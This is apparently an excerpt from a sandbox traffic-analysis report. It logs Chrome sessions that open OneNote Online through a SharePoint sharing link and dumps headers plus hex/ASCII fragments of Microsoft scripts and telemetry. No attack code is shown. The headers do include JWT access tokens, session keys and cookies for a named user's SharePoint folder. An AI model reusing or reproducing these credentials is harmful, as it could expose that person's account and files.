2024-07-16 11:07:17 UTC	652	OUT	GET /me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell HTTP/1.1 Host: amcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://euc-onenote.officeapps.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://euc-onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:17 UTC	645	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:17 GMT Content-Type: application/javascript Content-Length: 30715 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, no-transform, max-age=7200 Expires: Tue, 16 Jul 2024 13:07:17 GMT X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240716T110717Z-15b94bb6ff9q99nhx7fhb7fyv800000009gg000000005q6n X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-07-16 11:07:17 UTC	15707	IN	Data Raw: 77 69 6e 64 6f 77 2e 4d 53 41 3d 77 69 6e 64 6f 77 2e 4d 53 41 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 3d 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 66 69 67 3d 7b 22 76 65 72 22 3a 22 31 30 2e 32 34 30 38 36 2e 34 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 70 74 6e 22 3a 22 6f 6e 65 6e 6f 74 65 6f 6e 6c 69 6e 65 22 2c 22 67 66 78 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6d 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 22 2c 22 64 62 67 22 3a 66 61 6c 73 65 2c 22 61 61 64 22 3a 74 72 75 65 2c 22 69 6e 74 22 3a 66 61 6c 73 65 2c 22 70 78 79 22 3a 74 72 75 65 2c 22 6d 73 54 78 74 22 3a 66 61 6c 73 65 2c 22 72 77 64 Data Ascii: window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"onenoteonline","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd
2024-07-16 11:07:17 UTC	15008	IN	Data Raw: 3d 3d 70 2e 50 72 6f 6d 69 73 65 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 26 26 28 54 65 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 70 2e 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 2e 74 68 65 6e 28 65 29 7d 29 2c 54 65 2e 5f 75 6e 68 61 6e 64 6c 65 64 52 65 6a 65 63 74 69 6f 6e 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 56 65 28 7b 65 76 65 6e 74 54 79 70 65 3a 22 43 6c 69 65 6e 74 45 72 72 6f 72 22 2c 69 73 43 72 69 74 69 63 61 6c 3a 21 30 2c 6e 61 6d 65 3a 65 2e 6d 65 73 73 61 67 65 7c 7c 22 28 66 61 6c 73 65 79 20 6d 65 73 73 61 67 65 20 70 72 6f 70 65 72 74 79 20 6f 6e 20 65 72 72 6f 72 29 22 2c 74 79 70 65 3a 22 55 6e Data Ascii: ==p.Promise.toString().indexOf("[native code]")&&(Te._immediateFn=function(e){return p.Promise.resolve().then(e)}),Te._unhandledRejectionFn=function(e){Ve({eventType:"ClientError",isCritical:!0,name:e.message\|\|"(falsey message property on error)",type:"Un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49943	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:17 UTC	3544	OUT	GET /o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgi [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" haep: 3 X-WacFrontEnd: DU2PEPF0001783E X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest X-UserType: WOPI X-xhr: 1 X-IsCoauthSession: true X-WacCluster: GEU3 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996
2024-07-16 11:07:18 UTC	924	IN	HTTP/1.1 403 Forbidden Cache-Control: private Content-Length: 1233 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: ee1bc5e4-13d4-417a-9b21-f80150a25a24 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017837 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-OFFICEFD: DU2PEPF00017837 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 047665A518E64A5E848BB46CEE33DA54 Ref B: EWR311000103017 Ref C: 2024-07-16T11:07:17Z Date: Tue, 16 Jul 2024 11:07:17 GMT Connection: close
2024-07-16 11:07:18 UTC	1233	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 2d 20 46 6f 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>403 - For

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49942	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:17 UTC	3579	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 57079 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-AccessTokenTtl: 1721164012481 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996
2024-07-16 11:07:17 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 32 39 38 35 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 34 32 35 31 33 30 39 31 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 46 65 61 74 75 72 65 48 65 6c 70 65 72 2e 49 73 46 65 61 74 75 72 65 45 6e 61 62 6c 65 64 3a 20 43 61 6c 6c 20 6d 61 64 65 20 74 6f 20 63 68 65 63 6b 20 69 66 20 66 65 61 74 75 72 65 3a 20 43 6f 6e 6e 65 63 74 65 64 53 65 72 76 69 63 65 73 20 69 73 20 65 6e 61 62 6c 65 64 2e 22 2c 22 43 22 3a 33 30 30 34 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 32 30 30 32 35 36 37 39 2c 22 54 22 3a 33 2c 22 4d 22 3a 22 53 65 74 41 70 70 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 74 75 73 3a 20 75 69 41 63 74 6f 72 73 52 65 61 64 79 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c Data Ascii: {"T":1721128029858,"L":[{"G":42513091,"T":1,"M":"ApplicationFeatureHelper.IsFeatureEnabled: Call made to check if feature: ConnectedServices is enabled.","C":3004,"D":50},{"G":20025679,"T":3,"M":"SetAppInitializationStatus: uiActorsReady","C":306,"D":50},
2024-07-16 11:07:17 UTC	16384	OUT	Data Raw: 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 34 33 31 30 38 30 34 2c 22 54 22 3a 36 33 31 2c 22 4d 22 3a 22 7b 5c 22 55 72 6c 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 6f 66 66 69 63 65 6f 6e 6c 69 6e 65 2f 6f 2f 73 2f 31 36 31 37 39 30 33 34 31 30 31 32 5f 41 70 70 5f 53 63 72 69 70 74 73 2f 77 61 63 61 69 72 73 70 61 63 65 61 6e 69 6d 61 74 69 6f 6e 6c 69 62 72 61 72 79 2e 6a 73 5c 22 2c 5c 22 49 6e 69 74 69 61 74 6f 72 54 79 70 65 5c 22 3a 5c 22 73 63 72 69 70 74 5c 22 2c 5c 22 52 65 64 69 72 65 63 74 53 74 61 72 74 5c 22 3a 5c 22 30 5c 22 2c 5c 22 52 65 64 69 72 65 63 74 45 6e 64 5c 22 3a 5c 22 30 5c 22 2c 5c 22 46 65 74 63 68 53 74 61 72 74 5c 22 3a 5c 22 39 31 35 37 Data Ascii: ","C":306,"D":50},{"G":4310804,"T":631,"M":"{\"Url\":\"https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wacairspaceanimationlibrary.js\",\"InitiatorType\":\"script\",\"RedirectStart\":\"0\",\"RedirectEnd\":\"0\",\"FetchStart\":\"9157
2024-07-16 11:07:17 UTC	16384	OUT	Data Raw: 3a 5c 22 32 30 30 5c 22 2c 5c 22 54 61 62 6c 65 5c 22 3a 5c 22 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 5c 22 7d 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 39 33 35 30 36 31 32 2c 22 54 22 3a 36 34 31 2c 22 4d 22 3a 22 52 65 61 63 74 20 52 69 62 62 6f 6e 20 64 69 73 70 61 74 63 68 20 61 63 74 69 6f 6e 73 20 66 69 6c 74 65 72 65 64 20 3a 20 30 20 74 6f 74 61 6c 20 41 63 74 69 6f 6e 73 20 3a 20 32 22 2c 22 43 22 3a 33 34 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 35 33 36 30 38 35 34 2c 22 54 22 3a 36 38 37 2c 22 4d 22 3a 22 57 49 4e 4b 20 6c 69 62 72 61 72 79 20 6c 6f 61 64 65 64 21 22 2c 22 43 22 3a 33 33 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 36 36 38 31 31 31 2c 22 54 22 3a 37 34 31 2c 22 4d 22 3a 22 Data Ascii: :\"200\",\"Table\":\"ResourceTiming\"}","C":306,"D":50},{"G":579350612,"T":641,"M":"React Ribbon dispatch actions filtered : 0 total Actions : 2","C":340,"D":50},{"G":555360854,"T":687,"M":"WINK library loaded!","C":339,"D":50},{"G":50668111,"T":741,"M":"
2024-07-16 11:07:17 UTC	7927	OUT	Data Raw: 30 7d 2c 7b 22 47 22 3a 35 39 35 37 33 32 31 38 30 2c 22 54 22 3a 36 32 33 33 2c 22 4d 22 3a 22 52 65 61 63 74 48 65 61 64 65 72 20 66 69 72 73 74 20 69 6e 74 65 72 61 63 74 69 76 65 20 74 69 6d 65 3a 20 36 30 30 36 20 6d 73 22 2c 22 43 22 3a 33 34 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 34 38 39 32 39 32 38 2c 22 54 22 3a 36 32 38 38 2c 22 4d 22 3a 22 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 66 75 6e 63 74 69 6f 6e 45 78 65 63 75 74 69 6f 6e 5c 22 2c 5c 22 6b 65 79 5c 22 3a 5c 22 53 75 69 74 65 48 65 61 64 65 72 3a 4d 65 61 73 75 72 65 43 6f 6d 70 6f 6e 65 6e 74 73 5c 22 2c 5c 22 73 74 61 72 74 54 69 6d 65 5c 22 3a 32 32 34 32 34 2e 38 30 30 30 30 30 30 30 30 30 31 37 2c 5c 22 65 6e 64 54 69 6d 65 5c 22 3a 32 32 34 37 39 2c 5c 22 64 75 72 61 74 69 Data Ascii: 0},{"G":595732180,"T":6233,"M":"ReactHeader first interactive time: 6006 ms","C":340,"D":50},{"G":594892928,"T":6288,"M":"{\"type\":\"functionExecution\",\"key\":\"SuiteHeader:MeasureComponents\",\"startTime\":22424.800000000017,\"endTime\":22479,\"durati
2024-07-16 11:07:18 UTC	1681	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 926cd623-1ce3-4ce6-ae9d-72ca36e21f10 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017831 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017831 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: C846ACF4517F4D9B9DE43B20026D678A Ref B: EWR311000103023 Ref C: 2024-07-16T11:07:17Z Date: Tue, 16 Jul 2024 11:07:17 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49945	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:18 UTC	415	OUT	GET /me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell HTTP/1.1 Host: amcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:18 UTC	645	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:18 GMT Content-Type: application/javascript Content-Length: 30301 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, no-transform, max-age=7200 Expires: Tue, 16 Jul 2024 13:07:18 GMT X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240716T110718Z-15b94bb6ff9f6lb49366mxup98000000085000000000eeqc X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-07-16 11:07:18 UTC	15707	IN	Data Raw: 77 69 6e 64 6f 77 2e 4d 53 41 3d 77 69 6e 64 6f 77 2e 4d 53 41 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 3d 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 66 69 67 3d 7b 22 76 65 72 22 3a 22 31 30 2e 32 34 30 38 36 2e 34 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 70 74 6e 22 3a 22 6f 6e 65 6e 6f 74 65 6f 6e 6c 69 6e 65 22 2c 22 67 66 78 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6d 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 22 2c 22 64 62 67 22 3a 66 61 6c 73 65 2c 22 61 61 64 22 3a 74 72 75 65 2c 22 69 6e 74 22 3a 66 61 6c 73 65 2c 22 70 78 79 22 3a 74 72 75 65 2c 22 6d 73 54 78 74 22 3a 66 61 6c 73 65 2c 22 72 77 64 Data Ascii: window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"onenoteonline","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd
2024-07-16 11:07:18 UTC	14594	IN	Data Raw: 5d 3d 7b 69 64 3a 65 2c 62 75 6e 64 6c 65 50 72 6f 6d 69 73 65 3a 6e 2c 65 78 70 6f 72 74 73 3a 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 2c 6f 3b 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 28 72 3d 5b 5d 2c 6e 29 3a 28 72 3d 6e 2c 74 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 47 65 2e 70 75 73 68 28 7b 69 64 3a 65 2c 64 65 70 73 3a 6e 2c 66 61 63 74 6f 72 79 3a 74 7d 29 7d 28 65 2c 72 2c 6f 29 7d 76 61 72 20 4b 65 3d 7b 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 69 6e 6c 69 6e 65 22 3a 22 6d 65 49 6e 6c 69 6e 65 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 62 6f 6f 74 22 3a 22 6d 65 42 6f 6f 74 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 63 6f 72 65 22 3a Data Ascii: ]={id:e,bundlePromise:n,exports:t}}function ze(e,n,t){var r,o;o="function"==typeof n?(r=[],n):(r=n,t),function(e,n,t){Ge.push({id:e,deps:n,factory:t})}(e,r,o)}var Ke={"@mecontrol/web-inline":"meInline","@mecontrol/web-boot":"meBoot","@mecontrol/web-core":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49949	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
